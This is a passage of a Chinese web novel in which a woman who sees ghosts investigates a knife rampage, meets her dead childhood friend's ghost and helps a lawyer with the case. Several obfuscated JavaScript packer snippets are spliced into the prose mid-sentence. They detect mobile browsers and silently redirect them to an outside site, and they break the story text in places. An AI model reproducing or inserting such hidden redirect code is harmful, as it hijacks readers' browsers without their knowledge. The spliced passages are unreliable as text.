丁照也不明白为什么自己莫名其妙就被面前这个人说服,跟她面对面坐在咖啡店里聊天。 拾冬捋了一下思路,如果直接说自己见过俊雄,对方可能会把她当神经病,于是她换了个活人能接受的说辞,果不其然,丁照愿意和她坐下来聊了。 在等丁照的那三个小时,拾冬已经在网上把丁照的详细情况了解了一遍,毕业名校,曾经做过三年的公益律师,之后成立了个人律师事务所,帮助过不少请不起律师的普通家庭赢了官司。 关于陈青,丁照也曾在个人微博发表过和他相关的文章,不过底下谩骂的评论过多,几乎没几个人在意她写的内容。 不过拾冬看完了,并抓住了其中重点。 陈青是在十四岁那年因为弟弟意外失踪出现精神失常,而弟弟至今没有找到。 “丁律师,我看了你写的文章。”拾冬看到丁照警惕的神情松了几分,抛出疑问,“刚才在法院的时候,你说陈青患病那么久从没有出现伤人事件,为什么他突然失控,这不奇怪吗?” “精神病人犯病没有征兆,失控的原因也有很多。”丁照喝了口咖啡不以为然。 “可我不这么觉得,你在文章中写的是那日陈青和母亲刚从医院复诊回来,起码当时他是能在人的陪同下出门,多少算是正常状态吧。”拾冬接着把自己这三小时的思考问出,“去和回都是同一条路,为什么去的时候没问题,回家的时候突然失控了呢?” “也许是受到了刺激。”丁照说完脑海里有什么东西一闪而过,“你的意思是有人刺激到了陈青,所以他突然发病。” “我觉得是这样。” “可是,这只是你的猜测,当时天桥那么多人,大家都是正常出行,并没有什么不妥之处。”丁照秉着公正的态度依旧保持怀疑。 “你能给我具体讲讲当时的事发经过的细节吗?” 目前网上传播的事发现场都是远距离拍摄,除了慌乱人群里的尖叫声,没什么有效信息,当时的监控太过血腥,被官方封存,没有流出,但丁照应该能看到。 “不能。事发经过官方都有报道,你可以自己去查。”丁照还是无法相信眼前这个突然出现的人,万一她是记者,到时候把自己的回答乱剪一通发到网上,那么自己受到的舆论压力会更大。 警惕性很高。 拾冬料到丁照会拒绝,她敲了敲杯壁,想了想又问:“刚才在庭上陈青为什么突然发疯?” 丁照也有疑惑。 从和他接触,带他去做精神鉴定,即使他无法口齿清晰回答自己的问题,但表现出来的神情都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“哪有什么生意,这才第一单,给你便宜点。” “不用了,老板,你也不容易。” 卖红薯的大爷笑着,割开的喉管汩汩冒血。 “钱扫过去了,大爷我走了。” “好嘞,慢走。” 三十多岁的女人提着红薯离开,经过的地方一片血迹。 向云黛躲在暗处捂着嘴不敢叫出声。 * 那个人应该快来了。 向云黛坐在花团里,神情麻木看着不远处干涸的血迹。 她每天都能看到一个女人拖着鲜血淋漓的腿来买红薯,自己由最开始惊声尖叫到求助无门,来来回回那么多人,没一个人听到她的声音,只有那个喉管破开的老大爷会主动问她要不要烤红薯,旁边立着孙子重病求助的海报,上面已有斑斑血迹。 可今天,那人没来买烤红薯。 “你馋疯了,死人的东西也喝!” 向云黛循声望去,看到一老一少两个人,老头看上去六十来岁,旁边的... “回家!” 两人渐行渐远,向云黛反应过来猛地冲出去,碰倒了她最喜欢的向日葵。 5. 第 5 章 一周前的晚上。 “电视上那人联系我了,明早八点。” 拾冬刚想回复,对面紧跟着发来第二条信息, “有东西跟着你,小心点。” 拾冬笼统回了个好,关上房门,坐在沙发上发了会儿呆,对着空气轻声说话, “好久不见。” 站立在面前的黑影缓缓现形,望着自己泪流满面。 当初在门口拍着门嚎啕大哭说不要分开的人,如今依旧爱哭。 拾冬和云黛一起在孤儿院长大,云黛被领养的那天两人闹了矛盾,拾冬没去送她。 没想到再见面,竟是这样的情形。 拾冬望着过去玩伴,说不清心里是什么感觉,从她私自逃出孤儿院后,就下定决心要和过去一切斩断联系,新闻出来的那天,她看到被害者名单愣了几秒。 网上没有被害者的真实照片,说不定是同名同姓。 她这么想着,直到看到向心弦在网上公开了她和向云黛小时候的合照。 “坐吧。”拾冬拍了拍旁边的位置,一人一鬼并排坐在一起,就像小时候一样。 “你真的能看见我。”向云黛哭完了,这才开始讲话。 在孤儿院的时候就听到别的小朋友说拾冬能见鬼,说她有问题,可自己从来不信,没想到,是真的。 “嗯。”拾冬不是个爱叙旧的人,两人中间隔着不曾了解的十几年,又能叙什么旧呢? “阿冬,这些年你过得好吗?” 拾冬心不在焉地“嗯”了一句当做回答,同时又想起刚接到的短信,问,“你回过家吗?” “哪个家?” 拾冬蹙眉,“你有几个家?” 向云黛眼神闪躲,“如果是向家,我没回过,我很早就不在那边住了。” “为什么。” 向云黛低头没有回答。 “可是向家人说他家闹鬼,怀疑是你。” “不是我,我确实想回,可是,门口贴了符,我进不去。” “起码也是一家人,他们至于贴符防你吗?” 向云黛没回答,没一会儿拾冬听到她的啜泣声。 怎么又哭。 拾冬有些无语,这一会儿功夫一直在哭。 “他们应该怕报应吧。” “要不是向心弦推我,我可能不会死。” 拾冬不耐烦的心情顿时消了大半,“是向心弦害的你?” 向云黛闷声哭出来,说的话也断断续续, “那人拿刀砍过来的时候,向心弦最先看到,没想到她推了我一把,我就中刀了。” 拾冬想起晚上向心弦在采访里说的话,有些犯恶心。 “所以你回去是想报仇?” 向云黛哭着摇头,“我就算报仇又有什么用,把他们全部杀死又怎么样,我已经死了,我不可能活过来了!” 她声音里带着悲切、不甘,拾冬在孙晓那里听过,在很多死去的人那里听过。 拾冬不会安慰人,也不想安慰,就这么坐着,听向云黛哭,同时也在疑惑, 如果不是向云黛,那向家人说家里有鬼,是怎么回事? “阿冬,如果你要去向家,我能和你一起去吗?我想回去拿个东西。”向云黛哭了一会儿,红着眼睛对自己说。 “好。” 第二天她和向云黛到了向心弦家,一坐下她就看到向云黛在客厅房间上上下下地找。 “我找到了,我要藏起来。”向云黛说着进了一楼的房间,拾冬想跟去看看便理所应当要求秦芬带自己去,只不过向云黛进了衣柜,拾冬看不到她藏了什么,这时向心弦回来,秦芬也就顺手把门关了。 没多久,向华旭端着汤出来,问拾冬要不要喝的时候,向云黛从房间冲出来神情紧张地阻止:“别喝!” 也没打算喝的拾冬若无其事拒绝了向华旭,在手机上打下:“你东西藏好了吗?” 向云黛满意地点头,看样子很高兴。 拾冬忍不住发问:“什么东西?” “银行卡,这是我的钱,我死后他们去我的出租屋拿走了我的贵重物品,不知道他们花了没有,总之我藏在衣柜里,你等会儿找机会拿。” 这财迷的样子和自己好像。 那晚厨房、卫生间的动静,拾冬一眼就看出来了不是闹鬼,不过她好奇的是,向家人到底在搞什么鬼,向云黛趁这个机会催她去拿银行卡,刚打开衣柜看到了俊雄,紧接着是向心弦的尖叫声。 而当时,向云黛在自己身边。 * “对不起阿冬,我只是想给你做点吃的。”向云黛满脸歉疚站在厨房门口,看拾冬把碎片装进纸盒包好。 “谢谢,我不需要。饿了我会自己点外卖。”拾冬拒绝她的好意,“你不要再发出动静了,房东已经在怀疑了。” 向云黛不吭声,一脸局促。 拾冬没了煮面的心情,坐在沙发上点外卖,“向云黛,你再不走投不了胎了。” 人死后,进入中阴身状态,最多能在人间逗留七七四十九天。 而如今,都两个多月了。 “阿冬,我不能和你在一起吗?” “为什么?” “我们不是好朋友吗?” “十几年没联系的好朋友吗?”拾冬神色淡淡,对向云黛的话没太多情绪波动。 “我一直有给你写信,写了好多好多。” “这些年,我很想你。” 话落在空气,无人接起,就这么一点点沉了下去。 拾冬点好外卖,起身回房,没有看一眼身边的昔日好友。 * “我可是冒着开除的风险传给你的,为了我的前途,你可千万不能外传啊!!!!!!!!!!” 丁照看着对方发来的好几个感叹号不由笑出了声,“放心,你要没工作了我养你。” 手机响了两声,对方发来一个链接,一点开是最新款的爱马仕包包。 “给我看看诚意。” 丁照发了个装傻表情包,之后将手机放到一边,在电脑上打开了文件,是那天陈青去医院复诊来和回的监控视频。 路段监控,并没有陈青的特写,丁照在人群中仔细辨认了半天才找到陈青和他母亲。 她先是看了他们去医院复诊的监控,在经过益和天桥时两人并无异常,相反陈青看上去情绪稳定,会主动搀扶年迈的妈妈上天桥。 丁照点开下一个视频。 他们经过天桥准备坐公交车回家。 事发当时快五点,有不少摊贩准备赶在下班高峰期前支好摊,丁照目不转睛盯着陈青,看他神情平和经过卖气球,烤肠,炸串的小摊,期间陈母指了指卖淀粉肠的小摊,似在问陈青要不要,陈青摇头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578688|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直到这,陈青都是稳定的。 马上就到事发地点了,丁照屏住呼吸看陈青移动,看着陈青又过了两三个小摊后,画面里出现了向心弦和向云黛,她们背对着监控正在买水果捞。就在他们交错的瞬间,陈青突然停住,他捂着头蹲下,陈母紧接着弯腰查看,这时,陈青一把推开陈母,回头看向水果捞方向,接着一把夺过旁边正在削甘蔗摊贩手里的刀,冲了过去。 人们四处逃窜,陈青像一头失控的野兽,用力挥舞着手里的刀,丁照之前看过打马赛克版本的,这还是头一次看□□的,画面残忍血腥,可丁照不得不逼着自己看下去。 也许是受下午那个女孩的影响,观看中,她目光始终锁定在陈青,向家两姐妹上,看着看着她察觉不对劲,陈青,他好像不是随机杀人。 丁照忍着恶心把进度条拉到最开始,调了倍速,更加仔细分析起来。 陈青先是杀害了被人群绊倒在地的向云黛,紧接着伤害了不明状况来不及逃跑的A某和B某,这时他停了下来,有些茫然四处看,十来秒后他锁定一个方向追了过去,正是红薯摊的老大爷。 陈青一刀砍在老大爷的脖颈,血飞溅而出,丁照没忍住干呕了一声,此时,躲在大爷身后的向心弦已经被陈青抓住了。 奇怪的事出现了。 陈青没有像之前一样动手,而是不断晃着向心弦的肩膀,嘴里念念有词,向心弦俨然被吓傻了,瘫软在地,一个劲的挣扎喊叫,挣扎的时候,她脖子被刀碰上。 之后便是孙晓的见义勇为,趁这时候,向心弦连滚带爬消失在了监控。 杀红眼的陈青最后被赶来的两名保安和一名大学生合伙制服,见义勇为的三人也不同程度受了伤。 丁照看完全部经过,摸出一手冷汗。 今天那个人说的没错。 陈青不是无缘无故失控的,他的目标好像是向心弦。 丁照深吸了口气,颤着手点开上午刚加上的微信对话框。 * “你好,请问明天有空吗,我想和你聊聊。” 拾冬吃完外卖收到了丁照发来的微信,她眉梢一挑,看来丁照验证过她的话了。 与此同时,孟永也发了信息来。 “来活了,明天上午8点,城西私立综合医院。” 拾冬虽然很想整向心弦,但眼下还是赚钱重要。 “我明天有事,忙完我会联系你。” 丁照很快回了,“等你电话。” 拾冬出门把外卖盒扔了,回来时客厅空荡荡的,向云黛不见了。 风从窗子吹进来,一张纸飘到脚下,拾冬俯身捡起。 “我给你做了双皮奶,小时候我们瞒着州州偷偷吃时你总是让我多吃,那时候我就在想,以后一定要很会做饭,要给你做很多好吃的。” “对不起,打破了你的碗,卡我留给你了,密码是小时候的暗号。” “阿冬,好好照顾自己,再见。” 拾冬从橱柜里找了把勺子,对着细腻光滑的双皮奶挖了一口。 “阿冬,我有新名字了,我姓向,向云黛,你记住了吗?我会给你写信,阿冬,不要不理我..” “阿冬,我要走了,不要忘记我,我会回来看你..” “阿冬..阿冬..” 拾冬站着吃完那碗双皮奶。 天,就这么暗了下来。 6. 第 6 章 “昨晚到做贼这么困?” 短短五分钟的路程,孟永已经见拾冬打了三四个哈欠了。 拾冬“嗯”了一声,兴致缺缺不想搭腔。 医院人多,两人进了电梯,按了楼层,拾冬靠着墙闭目养神。 人三三两两下去,到顶层就剩孟永和拾冬,两人出了电梯,这层很安静,没有人来人往的喧嚣,拾冬跟着孟永来到走廊尽头的病房,敲了两下门, “请进。” 进入到房间才知道为什么这层如此安静,这间病房看上去有九十多平,除了基本设施,连会客厅都有,看来是有钱人的专属病房。 “你好,是孟师傅吗?” 从主卧病房出来一个女人,三十来岁,气质温婉,看到孟永态度不急不缓,礼貌询问。 “对。”孟永察觉到女人看向拾冬的视线,主动介绍,“这是我徒弟。” 女人缓缓点头,“你好,我叫黎渔声,请跟我来。” 两人跟着女人进入主卧病房,一个男人很完整地躺在病床上,不像病人。 “这是我弟,他是213案件的受害者。” 又一个213受害人。 病床上的人,看上去二十来岁,一眼看过去,标准帅哥脸,不过拾冬向来对帅哥无感。 “您叫我们来是...”孟永不明白对方用意,他们又不是医生。 “我怀疑他失魂了。” 黎渔生神情笃定。 医院专家会诊了好几拨,身体指标全部正常,但人迟迟不醒,黎渔声虽然主张科学,但眼下也只能死马当活马医了。 拾冬低头看到床尾贴着的名字, 郁之。 偷偷用手机一搜,发现他是当时制服陈青的见义勇为人之一。 招活人魂,孟永算是老行家,三人坐在会客厅开始说解决方案。 “晚上需要摆阵,医院能允许吗?”拾冬在一旁提问。 “私立医院比较灵活,这一层我已经包了,我会提前派人守在电梯口,不会有人打扰。” 财大气粗。 那这次的酬金肯定不少,拾冬想到这个,人也跟着积极起来。 孟永把家属这边该准备的东西交待完后,自己也马不停蹄回铺子准备道具,拾冬作为徒弟自然离不开。 看来今天见不了丁照了。 拾冬低头给丁照发消息,告知自己今天没空。 “好,正好我今天想去看看陈青妈妈,有空联系。” 拾冬回了个OK手势,两人结束对话。 “和谁发信息?” “没谁,一个朋友。” 孟老头很有契约精神,要让他知道自己在计划整向心弦,指不定又要生气。 “新鲜,你还有朋友。” 拾冬没有回答,低头将引魂幡折好放进包里。 晚上十一点,两人如约到了医院。 一出电梯,两个保镖矗立在门口,这一层已经没有人了,走廊静悄悄的,只有两人往前走的脚步声。 病房里,黎渔声已经按照上午孟永交待的,将病房的家具全部撤走,只留一张桌子当做供台,上面放着郁之常穿的衣服和自己剪下的一缕头发。 “开始吧。” 黎渔声点了点头。 * 向心弦又接到视频被举报的投诉,说视频宣扬迷信。 可眼下她无暇处理,因为它要来了。 房间里所有的灯都打开了,蓝牙音箱也传出低沉诵经声,向心弦手腕戴着各地求来的佛珠,床沿四周也贴满了符箓。 “我不怕你…我不怕你…”向心弦嘴里念念有词,在心理上给自己鼓气,“这世上没有鬼,没有鬼…” 起初向心弦真的是这么想的。 视频果不其然大爆了,最火的时候光点击播放的收益都有一万块,更别提源源不断找上门的品牌合作。 “今天你姑姑给我打电话了,我才懒得接,几百年不联系,我们家一富贵就来套近乎,真膈应。”秦芬殷勤给向心弦夹菜,眼睛笑出深深的鱼尾纹,“宝贝,你多吃点,这些天太累了,得好好补补。” 向心弦夹开碗里的肥肉,语气不爽,“我明天要去给一个品牌直播卖货,你还给我吃肥肉,我上镜能好看吗?” “是妈妈的错,妈妈的错,那喝点蔬菜汤,清淡解腻。”秦芬放下筷子一边给向心弦盛汤一边说,“宝贝啊,你上镜要好看就得保养,我联系了个美容院,下午我们一起去看看,正好妈妈也想做个脸,你说好不好。” 我才二十来岁,需要做什么保养,我看是你自己想去。 向心弦埋头喝汤。 这时碗里多了一只剥好的虾,对面响起向华旭的声音,“心弦别生妈妈气了,吃虾,优质脂肪。” “谢谢爸。” 向心弦心情缓和点,下一秒听到向华旭说, “心弦,你手里还有多少钱,爸爸的一个老朋友最近投了个项目,很有前景,爸爸也想试试,这些年是我亏待了你,爸爸也想趁这个机会好好补偿你。” 向心弦抬头望着自己的亲生父母, 太像了。 太熟悉了。 这样的嘴脸她见过太多次了, 在他们给向云黛打电话的时候。 “我们养了你这么多年,现在轮到你赡养父母你竟然这样,云黛,你太让我失望了。” “云黛,爸爸这个月工资没发出来,房贷再不还,我们都得被赶出去,这也是你的家,爸爸知道你一定不忍心。” 吃不下了。 向心弦一言不发放下碗筷上楼,无视父母的喊声,她蜷缩在宽大舒适的椅子里,梳妆台上的镜子映出自己的脸。 “姐,你有钱吗?我想买个手机,你能不能资助我点,三千就够了,剩下的我自己想办法。” “我没有。” 镜子里的人说话了, “我没有,房贷我已经在还了,家里开支我已经在付了。” “我没有钱…” 是谁在说话? “我没有钱了。” 是谁! “我没有钱了!” 镜子里的人腾地起身扫落桌上的东西,物品噼里啪啦掉落在地,凌乱的桌上,向心弦看到了不该出现在这里的东西。 那条她扔进垃圾桶的铜钱手链。 “不可能…” 这条手链是她亲自扔进小区外面的垃圾桶里,不可能出现在这里。 “不可能!” 向心弦抄起铜钱手链,打开窗户用力扔了出去,而当晚,它又一次出现在自己枕边。 之后的每一晚,那条手链都会出现,即使向心弦把它烧了,剪了,扔了,它都会完整的出现。 一直持续到现在。 “咚咚咚...” 衣柜发出轻响,向心弦目不转睛盯着衣柜所有神经紧绷到一碰就断。 “咚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578689|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咚咚。” 这次声音在书架。 向心弦喘着粗气,从枕头底下拿出一把桃木剑,对着书柜方向, 等了几分钟,咚咚咚声没再响起,向心弦正想缓口气,床上的玩偶突然唱歌了, “一闪一闪亮晶晶,满天都是小星星...” “啊!啊!” 向心弦尖叫着抓起玩偶用力掼向墙壁,拿着桃木剑对着空气胡乱挥舞,“走开!走开!走开!” 桃木剑在空气中发出咻咻咻声,直到向心弦精疲力竭瘫倒在床,她侧躺在床,喘着粗气。 隔了许久,房间没再响起怪声,向心弦撑起身子,一低头,瞳孔急骤收缩,那条铜钱手链不知何时戴在了自己手上。 “一闪一闪亮晶晶,满天都是小星星...” 向心弦再也受不了,抱着头尖叫大哭, “啊!!!啊!!!!” “我错了,姐,我错了,对不起,当时我太害怕了,我真的太害怕...” “对不起姐,对不起,真的对不起,我不该推你的,对不起…我真的没想过会这样,对不起…” 房间里再也没有声音。 * 黎渔声还是第一次看到这样像电影里的画面。 昏暗的房间里,郁之头朝北,脚朝南躺在地上,旁边按照北斗七星的走势摆放着七盏油灯,他中指绑了根红线,红线另一头连着门口的引魂幡, 在一切准备好后,孟永站在油灯面前,对着门口开始念咒: “元神返形,魂魄归真,三台护体,七窍通明——郁之,速速回身!”① 没有反应。 “元神返形,魂魄归真,三台护体,七窍通明——郁之,速速回身!” 油灯的火焰动了。 黎渔声看向紧闭的窗户。 “元神返形,魂魄归真,三台护体,七窍通明——郁之,速速回身!” 不知哪吹来的风,连门口的引魂幡都开始飘动了。 黎渔声喉咙发紧,不自觉吞了吞唾沫。 “元神返形,魂魄归真,三台护体,七窍通明——郁之,速速回身!” “元神返形,魂魄归真,三台护体,七窍通明——郁之,速速回身!” 风越吹越大,油灯的火焰却没有灭,这时,黎渔声听到站在门口的女徒弟低声说了一声, “来了。” 黎渔声有些站不住,靠在墙边神情紧张望向门口。 孟永的咒声还在持续,门口的拾冬拿出腰间铃铛,开始引路。 昏暗的走廊,渐渐显现一个人影,离自己越来越近,拾冬有条不紊晃着手里铃铛,直到她看清对面的人,正是郁之。 五步, 三步, 到了, 拾冬动作小心将他引进门,冲门里的孟永点了点头。就在拾冬准备将他引进阵法时,对方停下了。 两人镇定对视了一眼,拾冬在他稍微前一步的地方摇着铃,孟永站在阵法中观察郁之的状态, 这时,郁之突然看向拾冬。 两人视线相交的那刻,拾冬感到异常,这不是离魂人该有的视线, 这道视线,是活的。 他望着自己,缓缓说:“你好。” ? 这下连孟永都看向拾冬。 紧接着他说:“我不要回去,我还要打工。” ??? 哪来的天选牛马。 7. 第 7 章 第二天早上。 “你的意思是,不是被困,是他自己不想回?”黎渔声满脸问号反复确认。 “看样子是。”拾冬望向满病房乱飘的郁之点了点头。 “你确定吗?”黎渔声摆明了不相信拾冬,转向孟永确认,“孟大师,真的是我弟弟不想回魂吗?” 孟永头次遇到想当鬼的人,他摸了摸不存在的胡子,咳了一声,“黎小姐,你弟弟是这么说的。” “你跟我姐说,我在阴间挺好的,那些鬼兄弟都很照顾我,你帮我给他们烧点纸,烧多点。烧个几百亿。”拾冬面无表情把郁之的话原封不动复述给黎渔声听。 这熟悉无厘头的腔调,是自己弟弟没错了。 黎渔声全身松了劲摔进沙发,头疼拧了拧眉:“我弟从小就喜欢这些东西,没想到真让他圆梦了。” “呵..呵...”孟永干笑了两声。 “可是孟大师,他能一直这样吗?”黎渔声马上意识到了问题点。 “不能,生魂离肉身太久很有可能会被其他厉鬼夺走。” “郁之!你听到没有!赶紧给我滚回来!” 黎渔声这怒吼把正在给丁照发信息的拾冬吓了一跳,果然不管脾气多好的人,碰上弟弟都得破功。 “我不回,等我干完这单活。”拾冬头也不抬复述。 “?你问问他什么活?” “我找了个吓人的活,我已经连续吓了她七八天了,我每吓一天就有一天的钱。”拾冬复述着,打字的手慢了起来。 黎渔声已经无语了,拒绝和弟弟交流,转向孟永寻求方法。 “我给你画几张符,符箓每天一换,防邪灵入侵。不过你尽早劝你弟弟回魂,他这样的生魂,很容易被恶鬼吃掉。” 黎渔声神情紧张起来,想了想对着空气说:“郁之,我只给你三天时间,三天之内你就算不回来,我也会把你弄回来。” “他说五天。” “…行。”黎渔声咬牙妥协。 孟永给黎渔声画了五天的符,在出门的时候,黎渔声递来两个很厚的红包,对孟永郑重道谢:“谢谢孟师傅。” “我这弟弟调皮,这五天如果可以麻烦您多留意留意。” 孟永接过红包,点了点头。 随后拾冬和孟永离开医院。 * “别跟着我。” 因为和丁照约好了碰面时间,拾冬一出医院就说有事,也不管孟永乐不乐意,坐上公交就走了。 但是... 郁之一直跟着自己。 “我姐要我跟着你。”郁之眼神崇拜,“没想到世上真有会做法的人,你收不收徒弟,我当你徒弟吧。” 拾冬懒得打字,戴上耳机假装在通电话,“那你跟错人了,你应该去找刚刚那个老头,我都是他教的。” “你师父看上去和我姐一样凶,我不去。”郁之扒在车窗外,身体像根海草摆来晃去。 拾冬翻了个白眼。 离开肉身的活人生魂和亡魂不同,很多镇邪法器对生魂不管用,不然拾冬早给他弄“死”了。 不过... “你刚在医院说的那个活是什么活,具体讲讲。” “就是我认识的一个鬼兄弟,他是中介公司的员工,不过他最近深陷感情的漩涡不可自拔,无心工作, 就拜托我去,中间抽成给我一半。”郁之被风吹累了,爬进车里坐在拾冬旁边大哥的腿上继续说,“说起这个人,还跟我有点渊源,她是213那天的受害者,现在已经是个大网红了。我也不知道为什么要去吓她,不过鬼嘛,做事没有逻辑才符合人设,我就按照要求去了。” 拾冬:“.....” “昨晚她突然大哭说什么姐我对不起你,哭的很惨,本来还想听就被你们招回来了。”郁之把大哥当人肉靠背,叹了口气,“也不知道会不会影响我的业绩。” 拾冬面无表情转向窗外,旁边的大哥拉上敞开的拉链喃喃自语:“今天有点冷啊。” 依旧是上次那个咖啡厅,丁照已经等在那了,看到拾冬进门举起手扬了扬。 拾冬一坐下,招呼服务员,眼也不眨点了上次不舍得点的小蛋糕,孟永拿了两个那么大的红包,肯定有自己一个,就当奖励自己,小小奢侈一下。 “我昨天去见陈青妈妈了,具体问了一下当时陈青为什么会突然失控。” 拾冬“嗯”了一声,示意自己在听。 “据陈青妈妈回忆,他们当时正准备下天桥,经过水果捞摊时,有一个女孩冲另一个女孩发火,骂得有点凶,所以当时还忍不住多看了两眼,陈青就是在这时候失控的。我后来查了监控,那两个女孩就是向云黛和向心弦。” “看来你也同意我的观点了,陈青是因为她们其中的某个人失控的。” “确实有这个可能性。”丁照不敢在见过两面的人面前断言,即使她心里是这么认为,“可你是怎么看出来的?” 小蛋糕上来了,拾冬拿过小勺子挖了一口,微苦的巧克力顿时充盈在口腔。 “我是怎么看出来的并不重要,重要的是陈青为什么会想杀她们这个问题。” 丁照也意识到了。 她托人查了向家人的背景,除了向华旭曾经因为开渔具公司拖欠欠款,被认定为失信执行人,以及十多年前他曾报过一次警,说被小混混打了,其余几人并无犯罪记录,而陈青妈妈也不认识向家人。 “这个得等警方调查,我已经把情报提供给我朋友了。” 指望警察还不如指望我。 拥有外挂的拾冬意犹未尽吃完最后一口蛋糕,想再点一块,想了想价格忍痛作罢,她喝了一口送过来的苏打水,说:“你可以带我去见陈青吗?” 俊雄一定在哥哥身边。 “...好。” 这是拾冬第一次进看守所,和电视上看的差不多,陈青坐在玻璃挡板的后面,垂着头一言不发。 “他一直都是这样。”丁照连续跟他说了好几句得不到回复后,看向从进来就一直盯着陈青的拾冬。 可实际,拾冬看的并不是陈青,而是俊雄。 郁之蹲在俊雄旁边,把拾冬交待给他的话念给俊雄听。 “你想不想救哥哥?” “想的话,等会跟我师傅出来,她很厉害,能救你哥。” “你答应跟我出来,我带你去小卖部买糖吃。” 莫名其妙多了个徒弟的拾冬:“.....” “他说可以。”郁之顺利完成任务,兴奋地在天花板上飘来飘去,顺道拉着俊雄一起。 拾冬翻了个白眼,站起来说:“走吧。” 隔板里的警察准备把陈青带回去,俊雄见哥哥要走,本能不自觉转向陈青。 “陈星。” 拾冬叫住想走的俊雄。 刚刚一言不发的陈青在听到这个名字后,挣开警察的钳制冲向隔板,不过几秒,他的眼泪便流了满脸。尽管警察的警棍死死抵住他的喉咙,但他还是不断挣扎,用戴着手铐的手用力拍着玻璃隔板。 丁照看到陈青通红的脸,担心再这样下去他会窒息,她对着玻璃挡板,打开手机录像,态度坚决冷静:“我现在开始录像取证,之后我会带我的当事人去鉴定伤情,并把伤情报告和视频提交给法院。根据看守所条例,你们无权对我方当事人实施暴力手段!” 一旁的俊雄站在失控的陈青身边一边哭着手指不断在空中比划着什么。 拾冬想起自己口袋还留着画符用的朱砂笔,照着俊雄的手势在玻璃隔板上画了起来。 陈青就在这时停下了,他满脸眼泪摩挲着拾冬画出来的红色星星,趴在桌上嚎啕大哭。 出了看守所,两人都没有说话,清明过后,城市的花陆陆续续开了,飘飘洒洒落了满地。 丁照看向旁边的拾冬。 从见拾冬的第一面,丁照就感觉到她的不同,可又说不出是什么,直到她用朱砂笔画了那颗星星。 朱砂笔她见过,寺庙修行的爷爷经常用朱砂笔给人画护身符。 丁照是坚定的唯物主义,但因为爷爷,她渐渐明白,有很多事,超乎科学。 爷爷是,眼前这个人也是。 “下次开庭是什么时候?”拾冬无视丁照的视线,神情平静看向人来人往的马路。 “一周后。” “好,我先走了,再联络。” “好。” 丁照没有去追问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578690|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚才的一切,两人在路口分开,迈向各自的方向。 * “你什么都不记得?” 拾冬不管是问俊雄怎么死的,还是给他看向心弦的照片,问认不认识,又或者是他现在尸体在哪里,俊雄都茫然摇头,提供不了一点有效信息。 那何必把他带出来。 “星星,吃不吃糖,我发工资了。”郁之见俊雄都快被拾冬吓死了,主动挡在他们前面,晃了晃刚到手的钱喜上眉梢,“我还以为昨天没完成任务今天不给我发工资了,没想到发了,比前几次都多呢!我就说还是地府先进,都不用银行卡。” “走,去买糖吃。”说完也不管拾冬,把俊雄拉走。 拾冬坐在公园长椅上,今天太阳很好,是个出行的好日子,有不少年轻妈妈推宝宝出来玩,把孩子放到铺了桌布的青草地上,看他们爬来爬去。 这时吹来一阵风,头顶花瓣簌簌而下,一起下来的,还有一个人影,只有拾冬看得到的人影。 * 刘友曾是桐岭办事处的阴间主任,刚来的时候干劲满满,争取做出业绩调回地府本府,但每年的转岗名单中都没有自己,相反是一些关系户年年升迁。 后来,他也看透了,这人即使当了鬼啊,也逃不开人间那一套。他索性躺平,安安心心当起了街道主任,调停桐岭市街坊邻鬼之间的矛盾。 这个鬼偷吃别的鬼的祭品啦,那个鬼不遵守地府条例擅自回家啦,净是些鸡毛蒜皮的鬼事,不过他也乐得自在,凡事亲力亲为,颇得大家信任。 直到最近十几年,有个鬼上门说他被人打了。 只有鬼吓人,还没听过人打鬼的。 刘友护犊子的心一上来,袖子一挽就是上门讨要说法。 一小时后, “她这么厉害你怎么不提醒我?”刘友捂着鼻青脸肿的脸问同样被打的鼻青脸肿的鬼。 “主任,我以为你看我被打成这样你应该有点数。” 要说走阴人,刘友当鬼那么久不知见了多少,二吊子一大堆,没想到有这么纯的。 这放到古代,起码是长老级别的人物! 刘友顿时对眼前十五岁少女尊敬了起来。 “你是桐岭市的地方官?” 刘友被地方官三个字钓成翘嘴,腰杆都直了几分,看来自己还是有几分影响力,“正是在下。” “我们做笔生意怎么样。” “啊?” 在拾冬的提议下,刘友在桐岭市成立了桐岭万事屋,拾冬在阳间家属遇到问题告诉他,他委派鬼去处理,事情解决后,拾冬按照约定好的金额烧给刘友,刘友从中抽成,再把剩下到的钱分给底下的员工。 不仅能赚钱,还能维护鬼界人界秩序,一举多得。 